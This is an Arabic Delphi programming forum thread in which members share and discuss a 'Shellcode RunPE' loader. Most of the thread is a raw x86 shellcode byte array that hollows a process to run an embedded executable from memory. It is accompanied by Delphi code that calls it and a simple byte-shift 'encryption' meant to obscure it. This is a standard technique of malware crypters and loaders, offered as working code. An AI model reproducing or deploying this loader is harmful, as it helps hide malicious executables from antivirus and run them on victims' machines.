Shellcode RunPE مثال جيد - onexite - 17-12-2012
السلام عليكم
اليكم المثال
PHP كود : program RunShellCode;
uses Windows, Unit2 in 'Unit2.pas';
var arrRunPE: array[0..693] of Byte = ( $55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC, $FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89, $45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45, $F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0, $BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB, $8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53, $13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB, $DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50, $C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2, $8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C, $6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8, $60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D, $01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00, $FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8, $8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04, $6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02, $00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00, $01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1, $30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF, $FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF, $77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF, $77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4, $8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33, $C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD, $FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5, $78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF, $03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD, $FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00, $00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83, $C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89, $4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0, $51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04, $4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B, $59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B, $49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3);
var RunPEProc :procedure(arr:TbytArray); i:integer; crypt,dcrypt: array[0..693] of Byte ; begin for i:=0 to length(arrRunPE) do // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0]; crypt[i]:=Ord(arrRunPE[i]);
for i:=0 to length(crypt) do // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0]; dcrypt[i]:=byte(crypt[i]);
RunPEProc := @crypt[0]; //RunPEProc := @arrRunPE[0]; RunPEProc(Project11_); end.
برنامج مرحبا العالم
PHP كود : unit Unit2;
Interface Uses Windows; type TbytArray = array[0..15960] of byte; Const aSize = 15961; Project11_: TbytArray= (
$4D,$5A,$50,$00,$02,$00,$00,$00,$04,$00,$0F,$00,$FF,$FF,$00,$00,$B8,$00, $00,$00,$00,$00,$00,$00,$40,$00,$1A,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00, $00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$BA,$10,$00,$0E,$1F,$B4,$09,$CD . . . . .//////////////////////// الكود كامل تجدونه في المرفقات .//////////////////////// . . . . ,$4F,$65,$51,$56,$77,$71,$55,$5A,$50,$6C,$71,$7A,$56,$42,$53, $66,$6B,$57,$4F,$6F,$3D,$3E,$00,$00,$02,$00,$00,$00 );
implementation
end.
Shellcode RunPE مثال جيد - onexite - 18-12-2012
تجربة للتشفير باضافة 1 لترتيب الحرف
PHP كود : arr: array[0..695] of byte = ( 86,140,237,130,197,165,251,0,0,138,70,253,233,28,3,1,1,138,134,205,254,0,0,188,243 ,16,87,199,140,150,205,254,0,0,233,26,3,1,1,138,70,249,188,170,140,129,46,140, 150,205,254,0,0,233,7,3,1,1,138,70,245,188,134,60,175,220,140,150,205,254,0,0,233 ,244,2,1,1,138,70,241,188,148,54,224,134,140,150,205,254,0,0,233,225,2,1,1,138, 70,237,188,142,204,183,94,140,150,205,254,0,0,233,206,2,1,1,138,70,233,188,84,20 ,194,121,140,150,205,254,0,0,233,187,2,1,1,138,70,229,188,139,220,224,166,140,150 ,205,254,0,0,233,168,2,1,1,138,70,225,188,47,6,81,201,140,150,205,254,0,0,233,149 ,2,1,1,138,70,221,188,134,162,23,163,140,150,205,254,0,0,233,130,2,1,1,233,7,1 ,1,1,111,117,101,109,109,1,96,88,0,209,138,134,209,254,0,0,188,140,228,206,66,140 ,209,233,97,2,1,1,138,70,217,188,58,36,14,45,140,150,209,254,0,0,233,78,2,1,1,138 ,70,213,105,1,3,1,1,142,134,213,254,0,0,81,107,1,0,86,249,107,69,142,134,137,254 ,0,0,81,0,86,213,0,86,245,140,201,142,134,121,254,0,0,81,142,134,137,254,0,0,81 ,107,1,107,1,107,5,107,1,107,1,107,1,82,142,134,213,254,0,0,81,0,86,241,105,205 ,3,1,1,142,134,165,251,0,0,81,0,86,213,200,134,165,251,0,0,3,1,2,1,142,134,165,251 ,0,0,81,0,182,125,254,0,0,0,86,237,101,162,49,1,1,1,140,65,13,140,65,21,140,65 ,17,81,0,182,121,254,0,0,0,86,217,140,126,253,4,128,61,107,65,105,1,49,1,1,0,120 ,81,0,120,53,0,182,121,254,0,0,0,86,233,138,134,117,254,0,0,107,1,0,120,85,0,118 ,253,0,182,117,254,0,0,0,182,121,254,0,0,0,86,229,142,72,25,138,134,113,254,0,0, 16,184,72,21,2,134,113,254,0,0,52,193,52,247,52,202,236,42,108,199,41,4,134,113, 254,0,0,140,158,117,254,0,0,4,89,13,140,86,253,4,81,21,107,1,0,113,17,83,84,0,182 ,121,254,0,0,0,86,229,71,103,60,120,7,115,210,140,134,117,254,0,0,4,72,41,138,134 ,85,252,0,0,142,134,165,251,0,0,81,0,182,125,254,0,0,0,86,225,0,182,125,254,0, 0,0,86,221,202,196,101,162,49,1,1,1,140,65,13,140,65,13,140,1,140,1,140,65,25,196 ,86,140,237,132,197,245,83,138,86,253,140,75,61,4,203,138,78,245,140,74,121,4,203 ,138,78,249,140,82,25,140,74,33,4,78,253,52,0,140,50,4,118,253,52,193,82,173,140 ,201,4,249,212,200,134,193,118,246,90,60,252,117,17,132,194,5,75,118,225,187,195 ,89,99,28,91,52,193,202,196,140,70,253,140,78,249,140,90,25,140,74,37,4,201,44 ,219,210,228,4,204,16,184,26,140,78,249,140,74,29,4,201,194,228,3,4,204,4,2,91,202 ,196,78,78);
الاستخدام
PHP كود : program RunShellCode; {$APPTYPE CONSOLE}
uses sysutils, Unit2 in 'Unit2.pas'; var i:integer; crypt: array[0..695] of Byte ; begin for i:=0 to length(arr) do begin crypt[i]:=(arr[i])-1; Write(inttostr(crypt[i])+','); end; RunPEProc := @crypt[0]; RunPEProc(Project2_); Readln; end.
Shellcode RunPE مثال جيد - virtual - 19-12-2012
لكن ما الفائدة من تشغيل برنامج بواسطة Shell Code , او بالاحرى ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى , لانه في النهاية الكل سوف ينفذ في cpu
Shellcode RunPE مثال جيد - onexite - 19-12-2012
virtual كتب :لكن ما الفائدة ... دمج البرامج وتنفيذها بدون استخراج في القرص
Shellcode RunPE مثال جيد - محمد عبد العزيز - 20-12-2012
السلام عليكم ورحمة الله
حتى يستفيد/يفهم من يشاهد الموضوع اكثر ينقص تحويل الshell code الى اوامر التجميع و/او ما يوافقها بدلفي
على ما اعتقد الكود الاصلي نشر في منتدى iCode من DeadlyVermilion
كود : var
arrRunPE: array[0..693] of Byte = (
$55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
$45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
$8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
$13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
$8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
$6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
$60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
$01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
$8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
$6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
$00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
$01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
$77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
$77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
$8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
$78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
$03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
$00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
$4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
$51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
$4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
$59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
$49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3);
//Example of use:
asm
MOV EAX, dwArrayToRun
LEA EBX, arrRunPE[0]
CALL EBX
end;
إقتباس :ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى
اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!
Shellcode RunPE مثال جيد - onexite - 20-12-2012
لا اعرف لماذا يقوم بتحويل الكود الى الهكس
ترتيب الحرف يكفي
على كل حال هذا البرنامج اصبح مفتوح المصدر وتضاعفت سرعة التحويل اكثر من الضعف
Shellcode RunPE مثال جيد - virtual - 20-12-2012
إقتباس :اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!
[COLOR="Navy"] ممكن مثال يوضح الفائدة من استخدام shell code ؟
الاستخدام الوحيد الذي اراه ممكن هو حقن ملف تنفيذي ب shell code معين ثم البحث عن تعليمة call ثم اعطائها عنوان shell code .
لكن هذا يوضح نية مريبة 
[/COLOR]
Shellcode RunPE مثال جيد - محمد عبد العزيز - 20-12-2012
إقتباس :لا اعرف لماذا يقوم بتحويل الكود الى الهكس
غالبا يكتب الshell code بالhex
انتبه الكود يكون منظم اكثر فكل حرف يمثل بحرفين اضافة الى $ والفاصلة
إقتباس :حقن ملف تنفيذي ب shell code معين ثم...
أنظر للامر من زاوية اخرى
اذا قلت لك "كود صغير الحجم يمكن وضعه بالذاكرة وتنفيذه دون ان يكون متعلق بموضع محدد من الذاكرة" ماذا يمكنك ان تفعل به ؟ فكر.. أمور كثيرة، جزء من برنامج حماية ، اضافات Plugins ....
RE: Shellcode RunPE مثال جيد - mohamed49 - 04-12-2016
شكرا جزيلا على هذه المعلومة لكن انا جديد جدا على الدلفي ورايت هذا الموضوع وسمعت عنه الكثير لكن لدي سؤال بخصوص الارقام الموضوعة في الشال كود هل هي عشوائية او هو ملف محول الى شال كود وما هو هذا الملف وكيف يمكن ان احول الملف برمجيا الى شال كود
جزاك الله خيرا على الموضوع
|